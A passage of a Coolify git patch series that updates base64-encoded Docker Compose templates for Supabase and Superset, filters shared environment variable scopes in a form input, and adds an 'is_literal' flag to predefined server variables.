gICB9KVxuICB9XG59KSIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9mdW5jdGlvbnMvaGVsbG8vaW5kZXgudHMKICAgICAgICB0YXJnZXQ6IC9ob21lL2Rlbm8vZnVuY3Rpb25zL2hlbGxvL2luZGV4LnRzCiAgICAgICAgY29udGVudDogIi8vIEZvbGxvdyB0aGlzIHNldHVwIGd1aWRlIHRvIGludGVncmF0ZSB0aGUgRGVubyBsYW5ndWFnZSBzZXJ2ZXIgd2l0aCB5b3VyIGVkaXRvcjpcbi8vIGh0dHBzOi8vZGVuby5sYW5kL21hbnVhbC9nZXR0aW5nX3N0YXJ0ZWQvc2V0dXBfeW91cl9lbnZpcm9ubWVudFxuLy8gVGhpcyBlbmFibGVzIGF1dG9jb21wbGV0ZSwgZ28gdG8gZGVmaW5pdGlvbiwgZXRjLlxuXG5pbXBvcnQgeyBzZXJ2ZSB9IGZyb20gXCJodHRwczovL2Rlbm8ubGFuZC9zdGRAMC4xNzcuMS9odHRwL3NlcnZlci50c1wiXG5cbnNlcnZlKGFzeW5jICgpID0+IHtcbiAgcmV0dXJuIG5ldyBSZXNwb25zZShcbiAgICBgXCJIZWxsbyBmcm9tIEVkZ2UgRnVuY3Rpb25zIVwiYCxcbiAgICB7IGhlYWRlcnM6IHsgXCJDb250ZW50LVR5cGVcIjogXCJhcHBsaWNhdGlvbi9qc29uXCIgfSB9LFxuICApXG59KVxuXG4vLyBUbyBpbnZva2U6XG4vLyBjdXJsICdodHRwOi8vbG9jYWxob3N0OjxLT05HX0hUVFBfUE9SVD4vZnVuY3Rpb25zL3YxL2hlbGxvJyBcXFxuLy8gICAtLWhlYWRlciAnQXV0aG9yaXphdGlvbjogQmVhcmVyIDxhbm9uL3NlcnZpY2Vfcm9sZSBBUEkga2V5PidcbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gc3RhcnQKICAgICAgLSAnLS1tYWluLXNlcnZpY2UnCiAgICAgIC0gL2hvbWUvZGVuby9mdW5jdGlvbnMvbWFpbgogIHN1cGFiYXNlLXN1cGF2aXNvcjoKICAgIGltYWdlOiAnc3VwYWJhc2Uvc3VwYXZpc29yOjIuNS4xJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctc1NmTCcKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NDAwMC9hcGkvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9PTEVSX1RFTkFOVF9JRD1kZXZfdGVuYW50CiAgICAgIC0gUE9PTEVSX1BPT0xfTU9ERT10cmFuc2FjdGlvbgogICAgICAtICdQT09MRVJfREVGQVVMVF9QT09MX1NJWkU9JHtQT09MRVJfREVGQVVMVF9QT09MX1NJWkU6LTIwfScKICAgICAgLSAnUE9PTEVSX01BWF9DTElFTlRfQ09OTj0ke1BPT0xFUl9NQVhfQ0xJRU5UX0NPTk46LTEwMH0nCiAgICAgIC0gUE9SVD00MDAwCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUE9TVEdSRVNfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1lY3RvOi8vc3VwYWJhc2VfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS9fc3VwYWJhc2UnCiAgICAgIC0gQ0xVU1RFUl9QT1NUR1JFUz10cnVlCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFUlZJQ0VfUEFTU1dPUkRfU1VQQVZJU09SU0VDUkVUfScKICAgICAgLSAnVkFVTFRfRU5DX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfVkFVTFRFTkN9JwogICAgICAtICdBUElfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnTUVUUklDU19KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFJFR0lPTj1sb2NhbAogICAgICAtICdFUkxfQUZMQUdTPS1wcm90b19kaXN0IGluZXRfdGNwJwogICAgY29tbWFuZDoKICAgICAgLSAvYmluL3NoCiAgICAgIC0gJy1jJwogICAgICAtICcvYXBwL2Jpbi9taWdyYXRlICYmIC9hcHAvYmluL3N1cGF2aXNvciBldmFsICIkJChjYXQgL2V0Yy9wb29sZXIvcG9vbGVyLmV4cykiICYmIC9hcHAvYmluL3NlcnZlcicKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvcG9vbGVyL3Bvb2xlci5leHMKICAgICAgICB0YXJnZXQ6IC9ldGMvcG9vbGVyL3Bvb2xlci5leHMKICAgICAgICBjb250ZW50OiAiezpvaywgX30gPSBBcHBsaWNhdGlvbi5lbnN1cmVfYWxsX3N0YXJ0ZWQoOnN1cGF2aXNvcilcbns6b2ssIHZlcnNpb259ID1cbiAgICBjYXNlIFN1cGF2aXNvci5SZXBvLnF1ZXJ5IShcInNlbGVjdCB2ZXJzaW9uKClcIikgZG9cbiAgICAle3Jvd3M6IFtbdmVyXV19IC0+IFN1cGF2aXNvci5IZWxwZXJzLnBhcnNlX3BnX3ZlcnNpb24odmVyKVxuICAgIF8gLT4gbmlsXG4gICAgZW5kXG5wYXJhbXMgPSAle1xuICAgIFwiZXh0ZXJuYWxfaWRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPT0xFUl9URU5BTlRfSURcIiksXG4gICAgXCJkYl9ob3N0XCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19IT1NUTkFNRVwiKSxcbiAgICBcImRiX3BvcnRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPU1RHUkVTX1BPUlRcIikgfD4gU3RyaW5nLnRvX2ludGVnZXIoKSxcbiAgICBcImRiX2RhdGFiYXNlXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19EQlwiKSxcbiAgICBcInJlcXVpcmVfdXNlclwiID0+IGZhbHNlLFxuICAgIFwiYXV0aF9xdWVyeVwiID0+IFwiU0VMRUNUICogRlJPTSBwZ2JvdW5jZXIuZ2V0X2F1dGgoJDEpXCIsXG4gICAgXCJkZWZhdWx0X21heF9jbGllbnRzXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfTUFYX0NMSUVOVF9DT05OXCIpLFxuICAgIFwiZGVmYXVsdF9wb29sX3NpemVcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPT0xFUl9ERUZBVUxUX1BPT0xfU0laRVwiKSxcbiAgICBcImRlZmF1bHRfcGFyYW1ldGVyX3N0YXR1c1wiID0+ICV7XCJzZXJ2ZXJfdmVyc2lvblwiID0+IHZlcnNpb259LFxuICAgIFwidXNlcnNcIiA9PiBbJXtcbiAgICBcImRiX3VzZXJcIiA9PiBcInBnYm91bmNlclwiLFxuICAgIFwiZGJfcGFzc3dvcmRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPU1RHUkVTX1BBU1NXT1JEXCIpLFxuICAgIFwibW9kZV90eXBlXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfUE9PTF9NT0RFXCIpLFxuICAgIFwicG9vbF9zaXplXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfREVGQVVMVF9QT09MX1NJWkVcIiksXG4gICAgXCJpc19tYW5hZ2VyXCIgPT4gdHJ1ZVxuICAgIH1dXG59XG5cbnRlbmFudCA9IFN1cGF2aXNvci5UZW5hbnRzLmdldF90ZW5hbnRfYnlfZXh0ZXJuYWxfaWQocGFyYW1zW1wiZXh0ZXJuYWxfaWRcIl0pXG5cbmlmIHRlbmFudCBkb1xuICB7Om9rLCBffSA9IFN1cGF2aXNvci5UZW5hbnRzLnVwZGF0ZV90ZW5hbnQodGVuYW50LCBwYXJhbXMpXG5lbHNlXG4gIHs6b2ssIF99ID0gU3VwYXZpc29yLlRlbmFudHMuY3JlYXRlX3RlbmFudChwYXJhbXMpXG5lbmRcbiIK", "tags": [ "firebase", "alternative", @@ -4102,7 +4102,7 @@ "superset-with-postgresql": { "documentation": "https://github.com/amancevice/docker-superset?utm_source=coolify.io", "slogan": "Modern data exploration and visualization platform (unofficial community docker image)", - "compose": "c2VydmljZXM6CiAgc3VwZXJzZXQ6CiAgICBpbWFnZTogJ2FtYW5jZXZpY2Uvc3VwZXJzZXQ6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1NVUEVSU0VUXzgwODgKICAgICAgLSAnU0VDUkVUX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NVUEVSU0VUU0VDUkVUS0VZfScKICAgICAgLSAnTUFQQk9YX0FQSV9LRVk9JHtNQVBCT1hfQVBJX0tFWX0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1zdXBlcnNldC1kYn0nCiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9zdXBlcnNldC9zdXBlcnNldF9jb25maWcucHkKICAgICAgICB0YXJnZXQ6IC9ldGMvc3VwZXJzZXQvc3VwZXJzZXRfY29uZmlnLnB5CiAgICAgICAgY29udGVudDogIlwiXCJcIlxuRm9yIG1vcmUgY29uZmlndXJhdGlvbiBvcHRpb25zLCBzZWU6XG4tIGh0dHBzOi8vc3VwZXJzZXQuYXBhY2hlLm9yZy9kb2NzL2NvbmZpZ3VyYXRpb24vY29uZmlndXJpbmctc3VwZXJzZXRcblwiXCJcIlxuXG5pbXBvcnQgb3NcblxuU0VDUkVUX0tFWSA9IG9zLmdldGVudihcIlNFQ1JFVF9LRVlcIilcbk1BUEJPWF9BUElfS0VZID0gb3MuZ2V0ZW52KFwiTUFQQk9YX0FQSV9LRVlcIiwgXCJcIilcblxuQ0FDSEVfQ09ORklHID0ge1xuICBcIkNBQ0hFX1RZUEVcIjogXCJSZWRpc0NhY2hlXCIsXG4gIFwiQ0FDSEVfREVGQVVMVF9USU1FT1VUXCI6IDMwMCxcbiAgXCJDQUNIRV9LRVlfUFJFRklYXCI6IFwic3VwZXJzZXRfXCIsXG4gIFwiQ0FDSEVfUkVESVNfSE9TVFwiOiBcInJlZGlzXCIsXG4gIFwiQ0FDSEVfUkVESVNfUE9SVFwiOiA2Mzc5LFxuICBcIkNBQ0hFX1JFRElTX0RCXCI6IDEsXG4gIFwiQ0FDSEVfUkVESVNfVVJMXCI6IGZcInJlZGlzOi8vOntvcy5nZXRlbnYoJ1JFRElTX1BBU1NXT1JEJyl9QHJlZGlzOjYzNzkvMVwiLFxufVxuXG5GSUxURVJfU1RBVEVfQ0FDSEVfQ09ORklHID0geyoqQ0FDSEVfQ09ORklHLCBcIkNBQ0hFX0tFWV9QUkVGSVhcIjogXCJzdXBlcnNldF9maWx0ZXJfXCJ9XG5FWFBMT1JFX0ZPUk1fREFUQV9DQUNIRV9DT05GSUcgPSB7KipDQUNIRV9DT05GSUcsIFwiQ0FDSEVfS0VZX1BSRUZJWFwiOiBcInN1cGVyc2V0X2V4cGxvcmVfZm9ybV9cIn1cblxuU1FMQUxDSEVNWV9UUkFDS19NT0RJRklDQVRJT05TID0gVHJ1ZVxuU1FMQUxDSEVNWV9EQVRBQkFTRV9VUkkgPSBmXCJwb3N0Z3Jlc3FsK3BzeWNvcGcyOi8ve29zLmdldGVudignUE9TVEdSRVNfVVNFUicpfTp7b3MuZ2V0ZW52KCdQT1NUR1JFU19QQVNTV09SRCcpfUBwb3N0Z3Jlczo1NDMyL3tvcy5nZXRlbnYoJ1BPU1RHUkVTX0RCJyl9XCJcblxuIyBVbmNvbW1lbnQgaWYgeW91IHdhbnQgdG8gbG9hZCBleGFtcGxlIGRhdGEgKHVzaW5nIFwic3VwZXJzZXQgbG9hZF9leGFtcGxlc1wiKSBhdCB0aGVcbiMgc2FtZSBsb2NhdGlvbiBhcyB5b3VyIG1ldGFkYXRhIHBvc3RncmVzcWwgaW5zdGFuY2UuIE90aGVyd2lzZSwgdGhlIGRlZmF1bHQgc3FsaXRlXG4jIHdpbGwgYmUgdXNlZCwgd2hpY2ggd2lsbCBub3QgcGVyc2lzdCBpbiB2b2x1bWUgd2hlbiByZXN0YXJ0aW5nIHN1cGVyc2V0IGJ5IGRlZmF1bHQuXG4jU1FMQUxDSEVNWV9FWEFNUExFU19VUkkgPSBTUUxBTENIRU1ZX0RBVEFCQVNFX1VSSSIKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4OC9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTctYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1zdXBlcnNldC1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBlcnNldF9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OC1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBlcnNldF9yZWRpc19kYXRhOi9kYXRhJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JlZGlzLWNsaSBwaW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgc3VwZXJzZXQ6CiAgICBpbWFnZTogJ2FtYW5jZXZpY2Uvc3VwZXJzZXQ6Ni4wLjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fU1VQRVJTRVRfODA4OAogICAgICAtICdTRUNSRVRfS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfU1VQRVJTRVRTRUNSRVRLRVl9JwogICAgICAtICdNQVBCT1hfQVBJX0tFWT0ke01BUEJPWF9BUElfS0VZfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LXN1cGVyc2V0LWRifScKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3N1cGVyc2V0L3N1cGVyc2V0X2NvbmZpZy5weQogICAgICAgIHRhcmdldDogL2V0Yy9zdXBlcnNldC9zdXBlcnNldF9jb25maWcucHkKICAgICAgICBjb250ZW50OiAiXCJcIlwiXG5Gb3IgbW9yZSBjb25maWd1cmF0aW9uIG9wdGlvbnMsIHNlZTpcbi0gaHR0cHM6Ly9zdXBlcnNldC5hcGFjaGUub3JnL2RvY3MvY29uZmlndXJhdGlvbi9jb25maWd1cmluZy1zdXBlcnNldFxuXCJcIlwiXG5cbmltcG9ydCBvc1xuXG5TRUNSRVRfS0VZID0gb3MuZ2V0ZW52KFwiU0VDUkVUX0tFWVwiKVxuTUFQQk9YX0FQSV9LRVkgPSBvcy5nZXRlbnYoXCJNQVBCT1hfQVBJX0tFWVwiLCBcIlwiKVxuXG5DQUNIRV9DT05GSUcgPSB7XG4gIFwiQ0FDSEVfVFlQRVwiOiBcIlJlZGlzQ2FjaGVcIixcbiAgXCJDQUNIRV9ERUZBVUxUX1RJTUVPVVRcIjogMzAwLFxuICBcIkNBQ0hFX0tFWV9QUkVGSVhcIjogXCJzdXBlcnNldF9cIixcbiAgXCJDQUNIRV9SRURJU19IT1NUXCI6IFwicmVkaXNcIixcbiAgXCJDQUNIRV9SRURJU19QT1JUXCI6IDYzNzksXG4gIFwiQ0FDSEVfUkVESVNfREJcIjogMSxcbiAgXCJDQUNIRV9SRURJU19VUkxcIjogZlwicmVkaXM6Ly86e29zLmdldGVudignUkVESVNfUEFTU1dPUkQnKX1AcmVkaXM6NjM3OS8xXCIsXG59XG5cbkZJTFRFUl9TVEFURV9DQUNIRV9DT05GSUcgPSB7KipDQUNIRV9DT05GSUcsIFwiQ0FDSEVfS0VZX1BSRUZJWFwiOiBcInN1cGVyc2V0X2ZpbHRlcl9cIn1cbkVYUExPUkVfRk9STV9EQVRBX0NBQ0hFX0NPTkZJRyA9IHsqKkNBQ0hFX0NPTkZJRywgXCJDQUNIRV9LRVlfUFJFRklYXCI6IFwic3VwZXJzZXRfZXhwbG9yZV9mb3JtX1wifVxuXG5TUUxBTENIRU1ZX1RSQUNLX01PRElGSUNBVElPTlMgPSBUcnVlXG5TUUxBTENIRU1ZX0RBVEFCQVNFX1VSSSA9IGZcInBvc3RncmVzcWwrcHN5Y29wZzI6Ly97b3MuZ2V0ZW52KCdQT1NUR1JFU19VU0VSJyl9Ontvcy5nZXRlbnYoJ1BPU1RHUkVTX1BBU1NXT1JEJyl9QHBvc3RncmVzOjU0MzIve29zLmdldGVudignUE9TVEdSRVNfREInKX1cIlxuXG4jIFVuY29tbWVudCBpZiB5b3Ugd2FudCB0byBsb2FkIGV4YW1wbGUgZGF0YSAodXNpbmcgXCJzdXBlcnNldCBsb2FkX2V4YW1wbGVzXCIpIGF0IHRoZVxuIyBzYW1lIGxvY2F0aW9uIGFzIHlvdXIgbWV0YWRhdGEgcG9zdGdyZXNxbCBpbnN0YW5jZS4gT3RoZXJ3aXNlLCB0aGUgZGVmYXVsdCBzcWxpdGVcbiMgd2lsbCBiZSB1c2VkLCB3aGljaCB3aWxsIG5vdCBwZXJzaXN0IGluIHZvbHVtZSB3aGVuIHJlc3RhcnRpbmcgc3VwZXJzZXQgYnkgZGVmYXVsdC5cbiNTUUxBTENIRU1ZX0VYQU1QTEVTX1VSSSA9IFNRTEFMQ0hFTVlfREFUQUJBU0VfVVJJIgogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MDg4L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotc3VwZXJzZXQtZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAnc3VwZXJzZXRfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgdm9sdW1lczoKICAgICAgLSAnc3VwZXJzZXRfcmVkaXNfZGF0YTovZGF0YScKICAgIGNvbW1hbmQ6ICdyZWRpcy1zZXJ2ZXIgLS1yZXF1aXJlcGFzcyAke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdyZWRpcy1jbGkgcGluZycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "analytics", "bi", From 99d22ae7d68b0fde62bfcc78b7693287ec744d22 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 2 Jan 2026 17:31:00 +0100 Subject: [PATCH 07/95] fix: filter available scopes based on existing variables in env var input --- .../views/components/forms/env-var-input.blade.php | 14 +++++++++++++- .../shared/environment-variable/show.blade.php | 6 +++--- 2 files changed, 16 insertions(+), 4 deletions(-) diff --git a/resources/views/components/forms/env-var-input.blade.php b/resources/views/components/forms/env-var-input.blade.php index dde535f19..61e308a83 100644 --- a/resources/views/components/forms/env-var-input.blade.php +++ b/resources/views/components/forms/env-var-input.blade.php @@ -17,8 +17,15 @@ selectedIndex: 0, cursorPosition: 0, currentScope: null, - availableScopes: ['team', 'project', 'environment', 'server'], availableVars: @js($availableVars), + get availableScopes() { + // Only include scopes that have at least one variable + const allScopes = ['team', 'project', 'environment', 'server']; + return allScopes.filter(scope => { + const vars = this.availableVars[scope]; + return vars && vars.length > 0; + }); + }, scopeUrls: @js($scopeUrls), handleInput() { @@ -54,6 +61,11 @@ if (content === '') { this.currentScope = null; + // Only show dropdown if there are available scopes with variables + if (this.availableScopes.length === 0) { + this.showDropdown = false; + return; + } this.suggestions = this.availableScopes.map(scope => ({ type: 'scope', value: scope, diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index d2195c2af..4dc46bbbb 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -109,7 +109,7 @@ disabled type="password" id="value" - :availableVars="$this->availableSharedVariables" + :availableVars="$isSharedVariable ? [] : $this->availableSharedVariables" :projectUuid="data_get($parameters, 'project_uuid')" :environmentUuid="data_get($parameters, 'environment_uuid')" :serverUuid="data_get($parameters, 'server_uuid')" /> @@ -128,7 +128,7 @@ :required="$is_redis_credential" type="password" id="value" - :availableVars="$this->availableSharedVariables" + :availableVars="$isSharedVariable ? [] : $this->availableSharedVariables" :projectUuid="data_get($parameters, 'project_uuid')" :environmentUuid="data_get($parameters, 'environment_uuid')" :serverUuid="data_get($parameters, 'server_uuid')" /> @@ -145,7 +145,7 @@ disabled type="password" id="value" - :availableVars="$this->availableSharedVariables" + :availableVars="$isSharedVariable ? [] : $this->availableSharedVariables" :projectUuid="data_get($parameters, 'project_uuid')" :environmentUuid="data_get($parameters, 'environment_uuid')" :serverUuid="data_get($parameters, 'server_uuid')" /> From 510fb2256bc88f625c26e2602943cc23578e07d2 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 2 Jan 2026 17:46:39 +0100 Subject: [PATCH 08/95] fix: add 'is_literal' flag to shared environment variables for servers --- app/Models/Server.php | 5 +++-- ..._add_predefined_server_variables_to_existing_servers.php | 6 ++++-- database/seeders/SharedEnvironmentVariableSeeder.php | 2 ++ 3 files changed, 9 insertions(+), 4 deletions(-) diff --git a/app/Models/Server.php b/app/Models/Server.php index 46587e7bc..bb75a414b 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -19,7 +19,6 @@ use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Casts\Attribute; -use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; use Illuminate\Support\Carbon; @@ -169,7 +168,7 @@ protected static function booted() $standaloneDocker->saveQuietly(); } } - if (! isset($server->proxy->redirect_enabled)) { + if (! isset($server->proxy->redirect_enabled)) { $server->proxy->redirect_enabled = true; } @@ -180,6 +179,7 @@ protected static function booted() 'type' => 'server', 'server_id' => $server->id, 'team_id' => $server->team_id, + 'is_literal' => true, ]); SharedEnvironmentVariable::create([ 'key' => 'COOLIFY_SERVER_NAME', @@ -187,6 +187,7 @@ protected static function booted() 'type' => 'server', 'server_id' => $server->id, 'team_id' => $server->team_id, + 'is_literal' => true, ]); }); static::retrieved(function ($server) { diff --git a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php index d31b57ca7..3d09197b4 100644 --- a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php +++ b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php @@ -21,13 +21,14 @@ public function up(): void ->where('key', 'COOLIFY_SERVER_UUID') ->exists(); - if (!$uuidExists) { + if (! $uuidExists) { DB::table('shared_environment_variables')->insert([ 'key' => 'COOLIFY_SERVER_UUID', 'value' => $server->uuid, 'type' => 'server', 'server_id' => $server->id, 'team_id' => $server->team_id, + 'is_literal' => true, 'created_at' => now(), 'updated_at' => now(), ]); @@ -40,13 +41,14 @@ public function up(): void ->where('key', 'COOLIFY_SERVER_NAME') ->exists(); - if (!$nameExists) { + if (! $nameExists) { DB::table('shared_environment_variables')->insert([ 'key' => 'COOLIFY_SERVER_NAME', 'value' => $server->name, 'type' => 'server', 'server_id' => $server->id, 'team_id' => $server->team_id, + 'is_literal' => true, 'created_at' => now(), 'updated_at' => now(), ]); diff --git a/database/seeders/SharedEnvironmentVariableSeeder.php b/database/seeders/SharedEnvironmentVariableSeeder.php index b55d13a17..7a17fbd10 100644 --- a/database/seeders/SharedEnvironmentVariableSeeder.php +++ b/database/seeders/SharedEnvironmentVariableSeeder.php @@ -44,6 +44,7 @@ public function run(): void 'team_id' => $server->team_id, ], [ 'value' => $server->uuid, + 'is_literal' => true, ]); SharedEnvironmentVariable::firstOrCreate([ @@ -53,6 +54,7 @@ public function run(): void 'team_id' => $server->team_id, ], [ 'value' => $server->name, + 'is_literal' => true, ]); } } From 9cd8dff5bf5092d6b9826f9b7a5baf9337454c84 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 2 Jan 2026 17:46:44 +0100 Subject: [PATCH 09/95] fix: remove redundant sort call in environment variables display --- 